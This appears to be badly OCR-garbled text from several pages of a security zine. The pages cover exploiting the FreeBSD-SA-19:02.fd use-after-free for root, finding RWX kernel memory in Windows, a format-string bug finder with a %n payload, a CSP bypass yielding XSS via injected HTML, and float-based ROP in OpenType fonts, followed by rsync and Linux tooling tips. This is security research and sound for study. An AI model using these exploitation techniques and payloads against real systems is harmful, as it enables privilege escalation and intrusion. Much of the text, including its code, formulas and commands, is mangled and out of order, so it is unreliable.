/Rl <gadget> ; Similar to ropgadget.py
e?rop

e rop.len=<nr. of instructions including ret>

$ rasm2 -a <arch> - b <bits> "<mnemonics>"
$ rasm2 -a <arch> - b <bits> - d <bytes>
$ragg2 - a<arch>- b <bits> -i exec

twitter.com/xorkiwi

opgadget, gdb-peda...if you want
lopment workflow smove to the radare2 framework.



DNS Reflection done right
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The Router Security Is Decadent and Depraved
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PIDU - Process Injection and Dumping Utility
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Exploiting FreeBSD-SA-19:02.fd

Exploiting FreeBSD-SA-19:02.fd

Karsten Kenig of Secfault Security

1 Introduction

FreeBSD 12.0 introduced a vulnerability in the handling
of le descriptors®. The advisory stated that it would al-

descriptor with another le the user should not be able
to write to. °.

If a le is opened writable, a ag in the struct le
is set to indicate this. This is only possible if the user

low to escalate privileges to root or to escape a FreeBSDhas the correct access privileges for the le. Thewrite()

jail. This note catches up on the general scenario that
was created by this bug and introduces a novel tech-
nigue to delay writes in the FreeBSD kernel to create a
TOCTOU-like exploit in order to escalate to root.

2 The Bug Class

Without going into the details, the scenario created by
the kind of bugs as in the advisory shall be explained.
The bug consisted of an over ow of the reference
counter variable f_count in the C-struct struct le
which is used to manage le operations. The variable is
used to count le descriptors which reference thestruct .
If the attacker is able to wrap the counter back to
1, while actually holding more than one le descriptor
to the struct le object, this can lead to a user-after-
free situation: By closing one descriptor after the wrap,
the struct is freed by the kernef while the other le
descriptors still reference the freedstruct on the heap.
In the special case of FreeBSD, thestruct is freed to
the Files allocator zone®. Therefore, the bug only al-

lows for dangling references to other objects in this zone.

For example, by opening another le after the free () op-
eration, an attacker could use the dangling le descrip-
tors to write to the newly opened le (even though the
descriptors previously pointed to a di erent le).

3 Way to Exploitation

Exploiting this for a privilege escalation was a bit tricky.
It was not easily possible to turn this bug into a mem-
ory corruption issue that could be exploited via ROP or
other techniques in a way failOver ow did for the PS4,
This is due to the fact that other as in the PS4 scenario,
the f_data pointer of the struct le is not corrupted in
this case.

However, it is possible to start a write to a user-owned
le, wait until after all required checks are performed
and then exchange the le referenced by the used le

Lhttps:/iwww.freebsd.org/security/advisories/
FreeBSD-SA-19:02.fd.asc
2https://ruxcon.org.au/assets/2016/slides/
ruxcon2016- Vitaly.pdf
3http://phrack.org/issues/66/8.html
4https://failoverflow.com/blog/2017/
ps4-namedobj-exploit/

1

syscall will only check this ag to assert that the le
referenced by the descriptor is writable.

After performing this check, the syscall will eventually
call the function bwillwrite () before the actual write op-
eration happens on the le system. bwillwrite () will
put the kernel to sleep without timeout if there are
too many dirty{that is unwritten{bu ers. This cre-
ates a TOCTOU-like race condition if the attacker is
able to exchange thestruct le during this sleep be-
cause the kernel will not check again if the le is opened
writable. The use-after-free primitive introduced by the
mentioned vulnerability makes this possible.

Therefore any le, even if the attacker is only able to
open it read-only, will be written to in this scenario.

To trigger the sleep in the kernel, a lot of le streams
are opened viafopen() in multiple processes with multi-
ple threads. After each call tofopen(), the correspond-
ing le is unlinked. When all streams are open, a signal
is given to start a write to these in parallel. This will
create a lot of dirty bu ers really fast.

If the write to an attacker-writable le happens at
that moment, bwillwrite () will delay the write opera-
tion. This renders the race condition exploitable com-
bined with a use-after-free for struct le objects. For
example, the user could trigger the bug and open the
read-only le libmap.conf to gain root like kcope did
in 200%°.

4 Conclusion & Challenges

This concludes the note. It appeals elegant that a way
was found to exploit use-after-free bugs forstruct le
objects in FreeBSD in general.

However, the most urgent challenge is to create a more
universal exploit as the delay technique only works with
UFS at the moment but ZFS is nowadays widely adopted
on FreeBSD installations.

A more detailed write-up for the interested reader and
a full exploit for the advisory is available’.

If you want to get in touch, feel free: @grdyfOx at
Twitter or karsten@secfault-security.com.

5Jann Horn used a similar approach in 2016 https:/bugs.
chromium.org/p/project-zero/issues/detail?id=808

6 https:/iwvww.exploit-db.com/exploits/1230
7https://secfault-security.com/blog/FreeBSD-SA-1902.
html

fd.

Twitter: @grayfOx
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by Honorary_BoT

The other day | was walking. Walking page tables of
course. On Windows. On Intel x64 CPU.

Every time | try to exploit somethingavoidusng
known gadgets or techniquesnstead, | prefer
getting to know the execution environment, like
what is there in the address space, which properties
it has and so on. | am also lazy, so | look for the
easiest way possible.

I needed an RWX memory in the kernel. | was aware
that Microsoft does a really good job with
mitigations and was not expecting any. But anyway,
| decided to scan Windows page tables.

| was not using any specifics of the Windows
memory manager, | skipped Software PTEs. My idea
was doing it in a hardware way: if the page bd3

bit set in PTE, then the mapping is there, no matter
what semantics Windows puts on that memory.

| used PulseDbg, a hypervisor-based debugger for
that. This way ensures the OS to be frozen and not
modifying the page tables on the fly. For the
scanning process itself refer to the Offzone 2019
% E * vS §]}v ~"~D]ee }Vv(]PHEGVYP
even better, to the Intel Software Developers
Manual (Vol 3, Chapter 4), it has all the details. In
fact, SDM has everything, so always refer it. | also
would suggest for you to read it before you go to
bed.

Surprise! Windows kernel does have RWX regions
of memory. In my case it was Windows 10 1809.
And an Intel Haswell CPU aigabyte Q87 chipset
motherboard, let me explain why it matters.

The first thing | identified was an area with UEFI
Runtime services being mapped as RWX. It is

He 38Z (JEUA E 3C%] o00C
protection on loaded modules. And Windows is not
aware of the semantics of the firmware loader. The
only option for the OS is to rely on the firmware for
those services to work.

%0

Semantic gap

HAL keeps UEFI Runtime function pointer table at
hal'HalEfiRuntimeServicesBlock

Those functions can be triggered from user mode,

(}& ]JvesS v C 0 pv Z]JvP ~A~CeS u ]\
which would trigger reading a UEFI variable.

The good news is if you use Microsoft Surface
Al U Clu[E (]Jv U «]v Dr&d (]&E
protection to UEFI modules. Good job, Microsoft!

Besides that, some drivers create custom
allocations as RWX, which is inevitable, | guess. But
not for MmMaploSpace function, which has an
interesting behavior. Check out the prototypes:

PVOID MmMaploSpace(PHYSICAL_ADDRESS
PhysicalAddress, SIZE_T NumberOfBytes,

);

PVOID MmMaploSpaceEx(PHYSICAL_ADDRESS
PhysicalAddress, SIZE_T NumberOfBytes,

);

dz (]E-*S }v ]- oP C }vUSZ 7N/
available on Windows 10. Third party drivers would

use the old one. There is an implicit mapping
between specified caching type and protection:

x MmNonCached converted to RWX
x MmCached converted to RWX
X MmWriteCombined converted to RW
P S o0 «_ L
Sq the driver must decide if it wants backward
compatibility, or a fine-grained protection of the

mapping.

The good news again is there is a Virtualization-
Based Security. Virtual secure mode uses hardware
virtualization features for security and protection of
Windows 10. It has a WAX enforcement in EPT
extended page tables, controlled by the hypervisor.
It does not allow guest kernel memory to be both
writable and executable at the same timg. IC } u[ E
concerned about your Windows security, you
should definitely turn VBS on.

}_ev[S « 8§ §Z _ _
There are more RWX regions present in the kernel.
I( C}U[E ]JvS €& S U §Z v § | A

tables, of course.

1. https://offzone.moscow/report/mis-configuring-page-tables/

Twitter: @honorary_bot



Using Binary Ninja to

Using Binary Ninja to find format string vulns in Binary Ninja

nd format

string vulns in Binary Ninja

1 Motivation

While targeting a bug bounty program, my fuzzer
found a format string vulnerability.

You mean you found a format string vuln
in 2019? YUP!

Surely not exploitable right? Aaahhhh,
it was! The binary wasn't compiled with FOR-
TIFY _SOURCE or PIE, and even though it was
a one-shot exploit, with some tricks | was able to
get quite a reliable exploit ( 90% reliability). Un-
fortunately I'm not able to share more details yet.

After this nding, | wanted to look for similar
vulnerabilities, and so | decided to create a plugin
in Binary Ninja to nd format string vulns stati-
cally.

2 How it works

The main idea behind the plugin is that the for-
mat argument has to be aconstant and read-
only address. Cases likgrintf( ) fall
in this category (the string comes from the.rodata
section), but others such asprintf(user_input)
don't, because the format argument comes from a
stack or heap variable.

To start, we load all known printf-like func-
tions, i.e., functions that have a format ar-
gument, and the index of this argument (e.g.:
printf ->arg0, sprintf ->argl, ...).

Secondly we iterate over the xrefs of all the printf-
like functions, to determine if the format argu-
ment comes from a safeorigin  or not. Using Bi-
nary Ninja's medium level intermediate language
(MLIL) in SSA form, we create a backwards slice,
starting from the format argument and tracing all
the way back to its origin(s) in the current function
(no inter-procedural analysis).

1. If the origin is an argument , we add this
function to the printf-like functions list for further
analysis. For example:

PRINTF_LIKE_(
args;
va_start(args, fmt);
printf (fmt, args);
va_end(args);

*fmt,

)

It is very important that we nd these custom
printf-like functions, because the compiler won't
output a warning when calling them without a
string literal (as would be the case for known func-
tions like printf ), making them more likely to be
vulnerable.

2. If the origin is a constant and read-only
address, we mark the call as safe.

3. If the origin is the result of a known
safe function call we also mark the call as
safe. In this list we have all functions from
the gettext family, which attempt to translate a
text string into the user's native language. If we
were able to control the translation les (located
in /usr/ share/ locale /<lang>/LC_MESSAGQE®Se
would be able to trigger format strings, however
these les are owned byroot , and so we consider
these to be safe.

4. For any other origin
vulnerable.

3 Fun fact

So, just before releasing the plugin | decided to run
it against Binary Ninja itself and to my surprise it
actually found a vulnerability.

Whenever a plugin failed to load, an error
message was displayed. This message was built
as the concatenation of "Failed to enable plu-
gin:nn", PLUGIN NAME and "nnCheck the
log for more details" and passed to the func-
tion BinaryNinja :: LogAlert , a printf-like func-
tion. Since the plugin name was being used in a
format argument, the code was vulnerable to a for-
mat string vulnerability.

It was quite funny that | was submitting a
plugin to nd format strings and the plugin name
eld was vulnerable to format strings, however
there was no real impact, since plugins are man-
ually accepted by the Binary Ninja's team, and
more importantly, the binary was compiled with
FORTIFY _SOURCE, making format strings close
to unexploitable. | also suspect a plugin named
%115¢c%6%5n%2c%7$n%238c%8%n%5c%9%n
%247¢c%10$n%2c%11$n%254c%12$n%15c%
13%$n%251¢c%14$n%5c%15$n%252¢c%16$n%2
47¢%17%n would raise a little suspicion.

we mark the call as

https://github.com/Vasco-jofra/format-string-finder-binja



Injecting HTML: Beyond XSS

Injecting HTML: Beyond XSS

Lets take a look at this example web app:

<html >
<meta http equiv="Content Security Policy"
content ="script src 'nonce ..." 'unsafe eval">
<div id ="template_target"></ div >

<script type ="application/template" id ="template">
HelloWorld! 1 +1={{1+11}}
</ script >

Your search is <?php echo $ GET['q"]; 7>

<script nonce="...">
let template = document.getElementByld(‘template");
template_target.innerHTML = template.innerText.replace(/{{(.*)}}/g,eval)
</ script >
</ html >

This functionality mirrors some of what you may see in modern templated web apps. Some privileged template
is stored on the page, then its content is processed and turned into HTML. In this case it will read the content of
the HTML element with id "template", executes anything within the {{ mustache }} brackets, and then renders
the result in a separate element.

The second feature of this app is to print a URL parameter on the page. This introduces a vulnerability that
would normally lead to XSS due to injected HTML tags. However the presence of the Content-Security-Policy
prevents an attacker from executing JavaScript. Since we cannot run JavaScript directly, lets see what other
strange things can be accomplished. Potentially we may want to force the page to run our own template, since
this would allow us to use theeval function.

It might be tempting to try and provide our own element with id="template" . However HTML ids are unique,
so document.getElementByld(‘template’) will only select the rst element and not our injected one.

So what do we do? Turns out browsers are often very inconsistent, so it is always better to check our assump-
tions. Lets try every tag just to be sure. Here we have a jinja2 page that will render a set of tags:

<div id ="template">First Tag</ div >
{% for tag in tag_list %}
<{{tag}} id="template">{{tag}}</{{tag}}>
{% endfor %}
< script >console.log(document.getElementByld(‘template");</ script >

When we run this we get a strange outcome: the selected tag is aghtml> tag and not the original <div>.
This <html> seems to have changed what element the id "template" references. Lets take a look at the HTML
elements in the DOM before and after injecting<html id="template">

DOM After Parsing

_ <html id ="template">
Raw HTML Source Before Parsing <head></ head>
<div id ="template"></ div > <body >
<html id ="template"></ html > <div id ="template"></ div >
</ body >
</ html >

It appears that the injected <html> tag has been moved to the top of the page. (This trick even works in
all major browsers!) Now getElementByld(‘template") will reference our injected data rather than the original
element. At this point we can run our own templates and easily get JavaScript code execution:

?0=< html id ="template">{{ alert("xss") }}</ html >

So due to a browser quirk we managed to bypass the CSP and achieve XSS! Try it out an A

Lhttp://xss.stackchk.fail/

https://twitter.com/itszn13



Building ROP with floats and OpenType

Building ROP with
oats and OpenType

by Mateusz Jurczyk (jOOru)

Background

The Adobe Font Development Kit for OpenTypeis a font
processing engine dating back to at least 2000. It is
written in C, and was open-sourced by Adobe in 2014
on GitHub®. It became an attack surface when parts of
AFDKO were included in Microsoft DirectWrite starting
with Windows 10 1709, to facilitate the printing of so-
called variable fonts (e.g. in web browsers).

This year, | reported a number of bugs in the library,
with the 10 most severe ones being xed by Microsoft
in the July 2019 Patch Tuesday’. Many of them were
convenient for exploitation, due to the software stor-
ing the CharString execution context in a giant t2cCtx
structure on the stack. Some of the primitives allowed
controlled out-of-bounds writes, making it possible to
skip the /GS cookie and overwrite the return address di-
rectly. Furthermore, we could perform arbitrary arith-
metic operations such as multiplication or division in
the OpenType \virtual machine". The only problem
was { all calculations were performed on 32-bit oats
(afdko/c/public/lib/source/t2cstr/t2cstr.c):

struct

{

/* Operand stack */

long cnt;
float array[CFF2_MAX_OP_STACK];

[]
} stack;

Moreover, data could be pushed on the stack by op-
code 255, which loads a 32-bit integer from the Open-
Type program stream and converts it from an assumed
16.16 xed point value to a oat:

long value;
CHKSUBRBYTE(h);

value = *next++;
CHKSUBRBYTE(h);

value = value << 8 | *next++;

[.]
PUSH(value / 65536.0);

The most basic element of a ROP chain are constant
values, e.g. xed function arguments. The question is
{ how to construct a oat with a given binary represen-
tation, provided the above capabilities? Let's recap the
format of IEEE-754 single precision numbers:

Lhttps://github.com/adobe-type-tools/afdko

2https://twitter.com/j00ru/status/114888312446350540 8

Zero, in nity and NaN

Binary zero is the same as a oating point Q0, while
0x80000000 can be created by negating it. In nity is

represented byexponent = 128 (let's call it e, calculated
as the encodede minus 127) and mantissa = 0 (m in

short), which corresponds to 0x7f800000 for inf and
0xff800000 for -inf . They can be created with a simple
expression:

1

0
Basic quiet NaN, which has the values of0x7fc00000
and 0xffc00000 (e = 128, m = 222, sign controlled), is
generated similarly:

0

0
All other NaNs between 0x7f800001-0x7fffffff
and 0xff800001 -Oxffffffff cannot be generated us-
ing oating point arithmetic. One has to accept it when
crafting a ROP chain in the AFDKO environment.

Real numbers

Encoding most values in the 32-bit integer range can
be achieved as follows. The rst number pushed on
the stack is used to set up the sign bit and 23 bits of
mantissa. For OxdeadcOde we'd use 2224043359375
(0xA91F'9100 as Fixed16.16), which is represented as
Oxc6adcOde in binary. At this point, the only innacu-
rate part is the exponent, currently equal to 14 (encoded
as 14+127 = 141), with an intended value of 62. It can
be manipulated by multiplying and dividing the value
by 2", forO0 n 14 in our case, because of the 16.16
encoding and one bit reserved for sign. In summary, the
OxdeadcOdedword can be constructed by implementing
the following expression in an OpenType charstring:

2224043359375 (2143 2°

The above scheme works for allcanonical numbers,
i.e. oating points with exponenté 127 (0x0080000G
Ox7f7fffff and 0x8080000Q0xffrfffff ). The only
other corner case to consider arelenormalized numbers
(when e= 127). They are smaller than normal num-
bers, and are interpreted di erently in that they don't
have an implicit leading 1. Instead of adding extra logic
to handle them in my converter, | decided to \cheat"
and solve the problem for a bigger value:

Convert(ZM Xdenormal )
214

After a maximum of two recursive calls, the argument
becomes a normal number and can be handled using the
regular logic described above.

The converter is available on GitHub®, and produces
charstrings accepted by the FontTools ttx (de)compiler*.
Happy hacking!

3https://jo0ru.vexillium.org/int _to_oat _opentype
4https://github.com/fonttools/fonttools

Convert(Xdenormal ) =

Blog: https://jOOru.vexillium.org/
Twitter: https://twitter.com/j0O0ru
GitHub: https://github.com/jO0ru
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Rsync - the new cp

Rsync - the new cp

1 Introduction

For everyone who is still before or during their transition
to fully automatic full-blown CI/CD pipelines, you may
often nd yourself copying lots of les, not only on a
local machine, but also between servers.

While for many simple use casesp will be enough,
you may often nd yourself looking for some additional
features that cp is not capable of. Not to look far, copy-
ing to or from remote machines is a really common task
which is beyond powers ofcp. The next missing fea-
ture is tracking copying progress which is useful while
transferring large les.

So what can we do with it? As you may have al-

3.1 Archive mode

The rst and one of the most important options is the
archive mode enabled by-a (which is in fact a combi-
nation of a few other ags). This ag enables recursive
copying as well as preserves most of le attributes like
owner (only when run as a superuser), group (requires
superuser if you don't belong to the group) or permis-
sions. When copying to remote, by default user/group
names are used, but you can change that behavior to
use uid/gid instead.

3.2 Remote sync

Synchronization between remote machines is a feature
which doesn't require any additional ags. You can
move les both ways, that is from remote to local and
vice versa. By default you cannot copy from remote
to remote but there are ways to achieve thi§. Sample
command transferring to remote:

ready guessed there is a way to overcome these issues

and rsync is our savior. As its manual suggests it's a
fast and versatile le-copying tool. It allows us to syn-
chronize les not only locally but also between remote
machines. It has a lot of useful options, that should
satisfy almost everyone.

2 Setup

We can install it simply by calling the following com-
mand on ubuntu (or a similar command on other sys-
tems).

$ sudo apt get install rsync

Next we can modify our.bash_aliases le by adding
the following line. In this example we are overriding the
default copying method of our system, but if you wish

$ cp file bsadel@remote:/home/bsadel/

Remembering that rsync usesssh we can leverage its
con g le to use our server aliases and default users.

Host my host
HostName 172.39.14.124
User bsadel

Listing 2: ".ssh/con g"

With such a le you can simply copy it without the
need to specify the username or any other things like
non-default ssh key.

$ cp file my host:/home/bsadel/

3.3 Progress indicator

rsync supports two ways of showing progress. Ei-
ther by le (achieved with --progress ) or overall (ag

to leave cp usable, just change the alias shown below to —-info=progress2 ). To see it in a more pleasant format

something, like cpr.

alias cp="rsync ah inplace

info=progress2”
Listing 1: ".bash_aliases"

The last thing you have to do to use your new com-
mand is restarting your terminal. Now you can try out
if everything is working ne. Just copy a le and check
if you can see the progress printed in your terminal. If
so, you are done!

3 Options

In this section we will review some of the most popular
rsync options. This will include ones we've used in our

alias as well as some additional ones which may come in

handy some day.

Lhttps://linux.die.net/man/1/rsync

you can add-h so that numbers are shown in kilobytes
or megabyte instead of raw bytes.

3.4

By default when rsync synchronizes a local le which
already exists at the nal destination it uses an interme-
diate le. --inplace ag changes that behavior so that
the le is replaced without creation of any additional
artifacts. It's especially useful when synchronizing large
les/directories.

In-place copying

4 More

For more options and examples look atrsync manual
page or search for articles like thi€ one by Pradeep Ku-
mar. Also check out Rsync cheetsheét

2https://backreference.org/2015/02/09/
remote-to-remote-data-copy/

3 https://www.linuxtechi.com/rsync-command-examples-|

4https://devhints.io/rsync

inux/

Twitter: @bartosz_sadel,
Blog: https://dcortezmeleth.github.io/



tZ S S} % | (}E
>S|vUAE T v

Things | insist on installing on every new
Linux server | work on, and you should too
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brand-v A « EA EU VY

» It sucks. You think to yoursel§h, if only | had time
to set this up like | WANT it to be, this machiAg po [A
v S EBu$alas; you choose to save time by
chuggingon with the basic terminal for hours, which end

up slowing you downMy point is:Tooling is king
Tooling increases , lowers
makes you lookool. u

,and

nourt  The effectiveness of
productive effort, especially in industry, as measured
in terms of the rate of output per unit of inpbt.

i Tooling is important where you intend to actually work. If
this is a server you jussh into to restart a crashed service,
then this guide might be somewhat irrelevant.

So, what do | install the moment | log into a new Linux
machiné, asa starter pack of efficieny? Grab your coffee
andsshinto your neglected server that wants some love.

First thing first, update your current software.
$ sudo apt get update
And get software that gets other software.

$ sudo apt install curl
$ sudo apt install git-all

# (and wget)

Now for the funand oh so opinionategtuff. These are
personal (but tried and true) favorite programs and
configurations. Give them a shot.

Ihttps:/iwww.lexico.com/en/definition/productivity

2 This guide is for Debian-based releaddake adaptations as
necessary.

@ShayNehmad on twitter
https://github.com/ShayNehmad

What to pack for a deserted Linux Island?

. A4
The ShGeT:I' S

| recommend you get the coolest one:

$ sudo apt install zsh

When you launch it for the first time, use the wizard to
é?onfigure it to your likingf ¢}p  }edfigureautocomplete  and
U ¢iu[E. Kley get olmy-zsk (for the
security-minded folks out there - after reviewing the
script of coursg

chdir without cd

$ sh -c "$(curl -fsSL
https://raw.github.com/robbyrussell/oh-my-
zsh/master/tools/install.sh)"

Iv[S$ (} @& Rdd246tters-long aliases to the most
frequently used paths (e.g. source, bin and logs). Super
fastcd-ing ' . Also, random themes are fun.

The Terminal(s)

More terminals == more throughput == more productivity
==more happinesX dZ S[e ipue*S twnu&k ZoX-nly-S
tmux 4, powerline andherdfonts

$ sudo apt install tmux

$ git clone
https://github.com/gpakosz/.tmux.git
$ In -s -f .tmux/.tmux.conf

$ cp .tmux/.tmux.conf.local .

The Text Editor

| could write a whole article on why to usen . In short,
]S8[ ( - &ffective. Dimprove the experience of using
vim : getpathogen (vim package manager) and
nerdtree ° to browse files quickly. MapC+n> to open
nerdtree

The Browser

If you need one, get one (I like Chrome). One thing you
V[S u]ee ] S$Z vifidn ¢:«if aNows you to

navigate the web using the keyboard alone.

Thank me later. Now yojlihave the timek
@ShayNehmad on Twitter and GitHub.

3 https://ohmyz.sh/

4 https://github.com/gpakosz/.tmux

5 https://github.com/scrooloose/nerdtree
6 https://vimium.github.io/







